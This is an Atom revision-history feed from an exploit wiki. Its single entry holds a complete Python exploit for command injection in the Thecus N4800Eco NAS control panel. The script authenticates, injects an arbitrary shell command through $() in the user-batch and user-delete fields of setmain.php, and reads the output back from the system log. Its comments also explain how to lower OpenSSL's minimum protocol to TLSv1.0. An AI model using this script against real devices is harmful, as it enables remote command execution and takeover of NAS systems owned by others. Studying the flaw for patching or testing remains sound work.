<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Thecus_N4800Eco_Nas_Server_Control_Panel_%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E</id>
	<title>Thecus N4800Eco Nas Server Control Panel 命令注入漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Thecus_N4800Eco_Nas_Server_Control_Panel_%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Thecus_N4800Eco_Nas_Server_Control_Panel_%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-22T10:15:48Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Thecus_N4800Eco_Nas_Server_Control_Panel_%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=3890&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: Thecus N4800Eco Nas Server Control Panel - Comand Injection # Date: 01/06/2021 # Exploit Author: Metin Yunus Kandemir # Vendor Homepage: http://...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Thecus_N4800Eco_Nas_Server_Control_Panel_%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=3890&amp;oldid=prev"/>
		<updated>2021-06-03T00:36:16Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: Thecus N4800Eco Nas Server Control Panel - Comand Injection # Date: 01/06/2021 # Exploit Author: Metin Yunus Kandemir # Vendor Homepage: http://...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Thecus N4800Eco Nas Server Control Panel - Comand Injection&lt;br /&gt;
# Date: 01/06/2021&lt;br /&gt;
# Exploit Author: Metin Yunus Kandemir&lt;br /&gt;
# Vendor Homepage: http://www.thecus.com/&lt;br /&gt;
# Software Link: http://www.thecus.com/product.php?PROD_ID=83&lt;br /&gt;
# Version: N4800Eco&lt;br /&gt;
# Description: https://docs.unsafe-inline.com/0day/thecus-n4800eco-nas-server-control-panel-comand-injection&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
import requests&lt;br /&gt;
import sys&lt;br /&gt;
import urllib3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# To fix SSL error that occurs when the script is started.&lt;br /&gt;
# 1- Open /etc/ssl/openssl.cnf file&lt;br /&gt;
# At the bottom of the file:&lt;br /&gt;
# [system_default_sect]&lt;br /&gt;
# MinProtocol = TLSv1.2&lt;br /&gt;
# CipherString = DEFAULT@SECLEVEL=2&lt;br /&gt;
# 2- Set value of MinProtocol as TLSv1.0&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def readResult(s, target):&lt;br /&gt;
    d = {&lt;br /&gt;
        &amp;quot;fun&amp;quot;: &amp;quot;setlog&amp;quot;,&lt;br /&gt;
        &amp;quot;action&amp;quot;: &amp;quot;query&amp;quot;,&lt;br /&gt;
        &amp;quot;params&amp;quot;: '[{&amp;quot;start&amp;quot;:0,&amp;quot;limit&amp;quot;:1,&amp;quot;catagory&amp;quot;:&amp;quot;sys&amp;quot;,&amp;quot;level&amp;quot;:&amp;quot;all&amp;quot;}]'&lt;br /&gt;
    }&lt;br /&gt;
    url = &amp;quot;http://&amp;quot; + target + &amp;quot;/adm/setmain.php&amp;quot;&lt;br /&gt;
    resultReq = s.post(url, data=d, verify=False)&lt;br /&gt;
    dict = resultReq.text.split()&lt;br /&gt;
    print(&amp;quot;[+] Reading system log...\n&amp;quot;)&lt;br /&gt;
    print(dict[5:8])     #change this range to read whole output of the command&lt;br /&gt;
&lt;br /&gt;
def delUser(s, target, command):&lt;br /&gt;
    d = {&lt;br /&gt;
        &amp;quot;action&amp;quot;: &amp;quot;delete&amp;quot;,&lt;br /&gt;
        &amp;quot;username&amp;quot;: &amp;quot;$(&amp;quot;+command+&amp;quot;)&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
    url = &amp;quot;http://&amp;quot; + target + &amp;quot;/adm/setmain.php?fun=setlocaluser&amp;quot;&lt;br /&gt;
    delUserReq = s.post(url, data=d, allow_redirects=False, verify=False)&lt;br /&gt;
&lt;br /&gt;
    if 'Local User remove succeeds' in delUserReq.text:&lt;br /&gt;
        print('[+] %s command was executed successfully' % command)&lt;br /&gt;
    else:&lt;br /&gt;
        print('[-] %s command was not executed!' %command)&lt;br /&gt;
        sys.exit(1)&lt;br /&gt;
    readResult(s, target)&lt;br /&gt;
&lt;br /&gt;
def addUser(s, target, command):&lt;br /&gt;
    d = {'batch_content': '%24('+command+')%2C22222%2C9999'}&lt;br /&gt;
    url = &amp;quot;http://&amp;quot; + target + &amp;quot;/adm/setmain.php?fun=setbatch&amp;quot;&lt;br /&gt;
    addUserReq = s.post(url, data=d, allow_redirects=False, verify=False)&lt;br /&gt;
&lt;br /&gt;
    if 'Users and groups were created successfully.' in addUserReq.text:&lt;br /&gt;
        print('[+] Users and groups were created successfully')&lt;br /&gt;
    else:&lt;br /&gt;
        print('[-] Users and groups were not created')&lt;br /&gt;
        sys.exit(1)&lt;br /&gt;
    delUser(s, target, command)&lt;br /&gt;
&lt;br /&gt;
def login(target, username, password, command=None):&lt;br /&gt;
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)&lt;br /&gt;
    s = requests.Session()&lt;br /&gt;
    d = {&lt;br /&gt;
        &amp;quot;&amp;amp;eplang&amp;quot;: &amp;quot;english&amp;quot;,&lt;br /&gt;
        &amp;quot;p_pass&amp;quot;: password,&lt;br /&gt;
        &amp;quot;p_user&amp;quot;: username,&lt;br /&gt;
        &amp;quot;username&amp;quot;: username,&lt;br /&gt;
        &amp;quot;pwd&amp;quot;: password,&lt;br /&gt;
        &amp;quot;action&amp;quot;: &amp;quot;login&amp;quot;,&lt;br /&gt;
        &amp;quot;option&amp;quot;: &amp;quot;com_extplorer&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
    url = &amp;quot;http://&amp;quot; + target + &amp;quot;/adm/login.php&amp;quot;&lt;br /&gt;
    loginReq = s.post(url, data=d, allow_redirects=False, verify=False)&lt;br /&gt;
&lt;br /&gt;
    if '&amp;quot;success&amp;quot;:true' in loginReq.text:&lt;br /&gt;
        print('[+] Authentication successful')&lt;br /&gt;
    elif '&amp;quot;success&amp;quot;:false' in loginReq.text:&lt;br /&gt;
        print('[-] Authentication failed!')&lt;br /&gt;
        sys.exit(1)&lt;br /&gt;
    else:&lt;br /&gt;
        print('[-] Something went wrong!')&lt;br /&gt;
        sys.exit(1)&lt;br /&gt;
    addUser(s, target, command)&lt;br /&gt;
&lt;br /&gt;
def main(args):&lt;br /&gt;
    if len(args) != 5:&lt;br /&gt;
        print(&amp;quot;usage: %s targetIp:port username password command&amp;quot; % (args[0]))&lt;br /&gt;
        print(&amp;quot;Example 192.168.1.13:80 admin admin id&amp;quot;)&lt;br /&gt;
        sys.exit(1)&lt;br /&gt;
    login(target=args[1], username=args[2], password=args[3], command=args[4])&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    main(args=sys.argv)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>